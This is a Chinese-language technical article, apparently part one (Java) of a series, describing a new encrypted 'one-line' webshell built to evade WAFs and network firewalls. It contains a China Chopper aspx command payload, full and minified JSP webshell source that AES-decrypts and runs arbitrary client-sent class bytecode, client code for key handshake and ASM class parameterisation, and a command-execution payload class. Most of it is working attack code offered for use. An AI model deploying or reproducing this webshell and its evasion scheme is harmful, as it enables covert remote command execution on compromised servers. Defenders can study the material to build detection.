概述
本系列文章重寫了java、.net、php三個版本的一句話木馬,可以解析並執行客戶端傳遞過來的加密二進制流,並實現了相應的客戶端工具。從而一勞永逸的繞過WAF或者其他網絡防火牆的檢測。
本來是想把這三個版本寫在一篇文章里,過程中發現篇幅太大,所以分成了四篇,分別是:
利用動態二進制加密實現新型一句話木馬之Java篇
利用動態二進制加密實現新型一句話木馬之.net篇
利用動態二進制加密實現新型一句話木馬之php篇
利用動態二進制加密實現新型一句話木馬之客戶端下載及功能介紹
前言
一句話木馬是一般是指一段短小精悍的惡意代碼,這段代碼可以用作一個代理來執行攻擊者發送過來的任意指令,因其體積小、隱蔽性強、功能強大等特點,被廣泛應用於滲透過程中。最初的一句話木馬真的只有一句話,比如eval(request(“cmd”)),后續為了躲避查殺,出現了很多變形。無論怎么變形,其本質都是用有限的盡可能少的字節數,來實現無限的可任意擴展的功能。
一句話木馬從最早的<%execute(request(“cmd”))%>到現在,也有快二十年的歷史了。客戶端工具也從最簡單的一個html頁面發展到現在的各種GUI工具。但是近些年友軍也沒閑着,涌現出了各種防護系統,這些防護系統主要分為兩類:一類是基於主機的,如Host based IDS、安全狗、D盾等,基於主機的防護系統主要是通過對服務器上的文件進行特征碼檢測;另一類是基於網絡流量的,如各種雲WAF、各種商業級硬件WAF、網絡防火牆、Net Based IDS等,基於網絡的防護設備其檢測原理是對傳輸的流量數據進行特征檢測,目前絕大多數商業級的防護設備皆屬於此種類型。一旦目標網絡部署了基於網絡的防護設備,我們常用的一句話木馬客戶端在向服務器發送Payload時就會被攔截,這也就導致了有些場景下會出現一句話雖然已經成功上傳,但是卻無法連接的情況。
理論篇
為什么會被攔截
在討論怎么繞過之前,先分析一下我們的一句話客戶端發送的請求會被攔截?
我們以菜刀為例,來看一下payload的特征,如下為aspx的命令執行的payload:
Payload如下:
caidao=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
可以看到,雖然關鍵的代碼采用了base64編碼,但是payload中扔有多個明顯的特征,比如有eval關鍵詞,有Convert.FromBase64String,有三個參數,參數名為caidao(密碼字段)、z1、z2,參數值有base64編碼。針對這些特征很容易寫出對應的防護規則,比如:POST請求中有Convert.FromBase64String關鍵字,有z1和z2參數,z1參數值為4個字符,z2參數值為base64編碼字符。
被動的反抗
當然這種很low的規則,繞過也會很容易,攻擊者只要自定義自己的payload即可繞過,比如把參數改下名字即可,把z1,z2改成z9和z10。不過攻擊者幾天后可能會發現z9和z10也被加到規則里面去了。再比如攻擊者采用多種組合編碼方式進行編碼,對payload進行加密等等,不過對方的規則也在不斷的更新,不斷識別關鍵的編碼函數名稱、加解密函數名稱,並加入到規則里面。於是攻擊者和防御者展開了長期的較量,不停的變換着各種姿勢……
釜底抽薪
其實防御者之所以能不停的去更新自己的規則,主要是因為兩個原因:1.攻擊者發送的請求都是腳本源代碼,無論怎么樣編碼,仍然是服務器端解析引擎可以解析的源代碼,是基於文本的,防御者能看懂。2.攻擊者執行多次相同的操作,發送的請求數據也是相同的,防御者就可以把他看懂的請求找出特征固化為規則。
試想一下,如果攻擊者發送的請求不是文本格式的源代碼,而是編譯之后的字節碼(比如java環境下直接向服務器端發送class二進制文件),字節碼是一堆二進制數據流,不存在參數;攻擊者把二進制字節碼進行加密,防御者看到的就是一堆加了密的二進制數據流;攻擊者多次執行同樣的操作,采用不同的密鑰加密,即使是同樣的payload,防御者看到的請求數據也不一樣,這樣防御者便無法通過流量分析來提取規則。
SO,這就是我們可以一勞永逸繞過waf的思路,具體流程如下:
- 首次連接一句話服務端時,客戶端首先向服務器端發起一個GET請求,服務器端隨機產生一個128位的密鑰,把密鑰回顯給客戶端,同時把密鑰寫進服務器側的Session中。
- 客戶端獲取密鑰后,對本地的二進制payload先進行AES加密,再通過POST方式發送至服務器端。
- 服務器收到數據后,從Session中取出秘鑰,進行AES解密,解密之后得到二進制payload數據。
- 服務器解析二進制payload文件,執行任意代碼,並將執行結果加密返回。
- 客戶端解密服務器端返回的結果。
如下為執行流程圖:
實現篇
服務端實現
想要直接解析已經編譯好的二進制字節流,實現我們的繞過思路,現有的Java一句話木馬無法滿足我們的需求,因此我們首先需要打造一個新型一句話木馬:
1. 服務器端動態解析二進制class文件:
首先要讓服務端有動態地將字節流解析成Class的能力,這是基礎。
正常情況下,Java並沒有提供直接解析class字節數組的接口。不過classloader內部實現了一個protected的defineClass方法,可以將byte[]直接轉換為Class,方法原型如下:
因為該方法是protected的,我們沒辦法在外部直接調用,當然我們可以通過反射來修改保護屬性,不過我們選擇一個更方便的方法,直接自定義一個類繼承classloader,然后在子類中調用父類的defineClass方法。
下面我們寫個demo來測試一下:
package net.rebeyond;
import sun.misc.BASE64Decoder;
public class Demo {
public static class Myloader extends ClassLoader //繼承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//將base64解碼成byte數組,並傳入t類的get函數
System.out.println(result.newInstance().toString());
}
}
上面代碼中的classStr變量的值就是如下這個類編譯之后的class文件的base64編碼:
package net.rebeyond;
import java.io.IOException;
public class Payload {
@Override
public String toString() {
// TODO Auto-generated method stub
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return "OK";
}
}
簡單解釋一下上述代碼:
- 首先自定義一個類Myloader,並繼承classloader父類,然后自定義一個名為get的方法,該方法接收byte數組類型的參數,然后調用父類的defineClass方法去解析byte數據,並返回解析后的Class。
- 單獨編寫一個Payload類,並實現toString方法。因為我們想要我們的服務端盡可能的短小精悍,所以我們定義的Payload類即為默認的Object的子類,沒有額外定義其他方法,因此只能借用Object類的幾個默認方法,由於我們執行payload之后還要拿到執行結果,所以我們選擇可以返回String類型的toString方法。把這個類編譯成Payload.class文件。
- main函數中classStr變量為上述Payload.class文件二進制流的base64編碼。
- 新建一個Myloader的實例,將classStr解碼為二進制字節流,並傳入Myloader實例的get方法,得到一個Class類型的實例result,此時result即為Payload.class(注意此處的Payload.class不是上文的那個二進制文件,而是Payload這個類的class屬性)。
- 調用result類的默認無參構造器newInstance()生成一個Payload類的實例,然后調用該實例的toString方法,繼而執行toString方法中的代碼:Runtime.getRuntime().exec("calc.exe");return “OK”
- 在控制台打印出toString方法的返回值。
OK,代碼解釋完了,下面嘗試執行Demo類,成功彈出計算器,並打印出“OK”字符串,如下圖:
到此,我們就可以直接動態解析並執行編譯好的class字節流了。
2.生成密鑰:
首先檢測請求方式,如果是帶了密碼字段的GET請求,則隨機產生一個128位的密鑰,並將密鑰寫進Session中,然后通過response發送給客戶端,代碼如下:
if (request.getMethod().equalsIgnoreCase("get")) {
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
request.getSession().setAttribute("uid", k);
out.println(k);
return;
}
這樣,后續發送payload的時候只需要發送加密后的二進制流,無需發送密鑰即可在服務端解密,這時候waf捕捉到的只是一堆毫無意義的二進制數據流。
3.解密數據,執行:
當客戶端請求方式為POST時,服務器先從request中取出加密過的二進制數據(base64格式),代碼如下:
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
4.改進一下
前面提到,我們是通過重寫Object類的toString方法來作為我們的Payload執行入口,這樣的好處是我們可以取到Payload的返回值並輸出到頁面,但是缺點也很明顯:在toString方法內部沒辦法訪問Request、Response、Seesion等servlet相關對象。所以需要找一個帶有入參的方法,並且能把Request、Response、Seesion等servlet相關對象傳遞進去。
重新翻看了一下Object類的方法列表:
可以看到equals方法完美符合我們的要求,有入參,而且入參是Object類,在Java世界中,Object類是所有類的基類,所以我們可以傳遞任何類型的對象進去。
方法找到了,下面看我們要怎么把servlet的內置對象傳進去呢?傳誰呢?
JSP有9個內置對象:
但是equals方法只接受一個參數,通過對這9個對象分析發現,只要傳遞pageContext進去,便可以間接獲取Request、Response、Seesion等對象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要順利的在equals中調用Request、Response、Seesion這幾個對象,還需要考慮一個問題,那就是ClassLoader的問題。JVM是通過ClassLoader+類路徑來標識一個類的唯一性的。我們通過調用自定義ClassLoader來defineClass出來的類與Request、Response、Seesion這些類的ClassLoader不是同一個,所以在equals中訪問這些類會出現java.lang.ClassNotFoundException異常。
解決方法就是復寫ClassLoader的如下構造函數,傳遞一個指定的ClassLoader實例進去:
5.完整代碼:
<%@ page
import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定義ClassLoader的子類Myloader
*/
public static class Myloader extends ClassLoader {
public Myloader(ClassLoader c)
{super(c);}
public Class get(byte[] b) { //定義get方法用來將指定的byte[]傳給父類的defineClass
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getParameter("pass")!=null) { //判斷請求方法是不是帶密碼的握手請求,此處只用參數名作為密碼,參數值可以任意指定
String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //隨機生成一個16字節的密鑰
request.getSession().setAttribute("uid", k); //將密鑰寫入當前會話的Session中
out.print(k); //將密鑰發送給客戶端
return; //執行流返回,握手請求時,只產生密鑰,后續的代碼不再執行
}
/*
當請求為非握手請求時,執行下面的分支,准備解密數據並執行
*/
String uploadString= request.getReader().readLine();//從request中取出客戶端傳過來的加密payload
Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload進行base64解碼
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 選擇AES解密套件
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //從Session中取出密鑰
Byte[] classData= c.doFinal(encryptedData); //AES解密操作
Object myLoader= new Myloader().get(classData).newInstance(); //通過ClassLoader的子類Myloader的get方法來間接調用defineClass方法,將客戶端發來的二進制class字節數組解析成Class並實例化
String result= myLoader.equals(pageContext); //調用payload class的equals方法,我們在准備payload class的時候,將想要執行的目標代碼封裝到equals方法中即可,將執行結果通過equals中利用response對象返回。
%>
為了增加可讀性,我對上述代碼做了一些擴充,簡化一下就是下面這一行:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
現在網絡上流傳的菜刀jsp一句話木馬要7000多個字節,我們這個全功能版本只有611個字節,當然如果只去掉動態加密而只實現傳統一句話木馬的功能的話,可以精簡成319個字節,如下:
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
至此,我們的具有動態解密功能的、能解析執行任意二進制流的新型一句話木馬就完成了。
客戶端實現
1.遠程獲取加密密鑰:
客戶端在運行時,首先以GET請求攜帶密碼字段向服務器發起握手請求,獲取此次會話的加密密鑰和cookie值。加密密鑰用來對后續發送的Payload進行AES加密;上文我們說到服務器端隨機產生密鑰之后會存到當前Session中,同時會以set-cookie的形式給客戶端一個SessionID,客戶端獲取密鑰的同時也要獲取該cookie值,用來標識客戶端身份,服務器端后續可以通過客戶端傳來的cookie值中的sessionId來從Session中取出該客戶端對應的密鑰進行解密操作。關鍵代碼如下:
public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
Map<String, String> result = new HashMap<String, String>();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
BufferedReader br = null;
URL url = new URL(getUrl);
URLConnection urlConnection = url.openConnection();
String cookieValue = urlConnection.getHeaderField("Set-Cookie");
result.put("cookie", cookieValue);
isr = new InputStreamReader(urlConnection.getInputStream());
br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
result.put("key", sb.toString());
return result;
}
2.動態生成class字節數組:
我們只需要把payload的類寫好一起打包進客戶端jar包,然后通過ASM框架從jar包中以字節流的形式取出class文件即可,如下是一個執行系統命令的payload類的代碼示例:
public class Cmd {
public static String cmd;
@Override
public boolean equals(Object obj) {
// TODO Auto-generated method stub
PageContext page = (PageContext) obj;
page.getResponse().setCharacterEncoding("UTF-8");
Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
try {
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
} else {
p = Runtime.getRuntime().exec(cmd);
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
String disr = br.readLine();
while (disr != null) {
result = result + disr + "\n";
disr = br.readLine();
}
result = new String(result.getBytes(osCharset));
page.getOut().write(result.trim());
}
} catch (Exception e) {
try {
page.getOut().write(e.getMessage());
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
return true;
}
3.已編譯類的參數化:
上述示例中需要執行的命令是硬編碼在class文件中的,因為class是已編譯好的文件,我們總不能每執行一條命令就重新編譯一次payload。那么怎么樣讓Payload接收我們的自定義參數呢?直接在Payload中用request.getParameter來取?當然不行,因為為了避免被waf攔截,我們淘汰了request參數傳遞的方式,我們的request body就是一堆二進制流,沒有任何參數。在服務器側取參數不可行,那就從客戶端側入手,在發送class字節流之前,先對class進行參數化,在不需要重新編譯的情況下向class文件中注入我們的自定義參數,這是比較關鍵的一步。這里我們要使用ASM框架來動態修改class文件中的屬性值,關鍵代碼如下:
public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
{
byte[] result;
ClassReader classReader = new ClassReader(clsName);
final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
classReader.accept(new ClassAdapter(cw) {
@Override
public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
// TODO Auto-generated method stub
if (params.containsKey(filedName))
{
String paramValue=params.get(filedName);
return super.visitField(arg0, filedName, arg2, arg3, paramValue);
}
return super.visitField(arg0, filedName, arg2, arg3, arg4);
}},0);
result=cw.toByteArray();
return result;
}
我們只需要向getParamedClass方法傳遞payload類名、參數列表即可獲得經過參數化的payload class。
4.加密payload:
利用步驟1中獲取的密鑰對payload進行AES加密,然后進行Base64編碼,代碼如下:
public static String getData(String key,String className,Map<String,String> params) throws Exception
{
byte[] bincls=Params.getParamedClass(className, params);
byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
return basedEncryBincls;
}
5.發送payload,接收執行結果並解密:
Payload加密之后,帶cookie以POST方式發送至服務器端,並將執行結果取回,如果結果是加密的,則進行AES解密。
案例演示
下面我找了一個測試站點來演示一下繞過防御系統的效果:
首先我上傳一個常規的jsp一句話木馬:
然后用菜刀客戶端連接,如下圖,連接直接被防御系統reset了:
然后上傳我們的新型一句話木馬,並用響應的客戶端連接,可以成功連接並管理目標系統:
本篇完。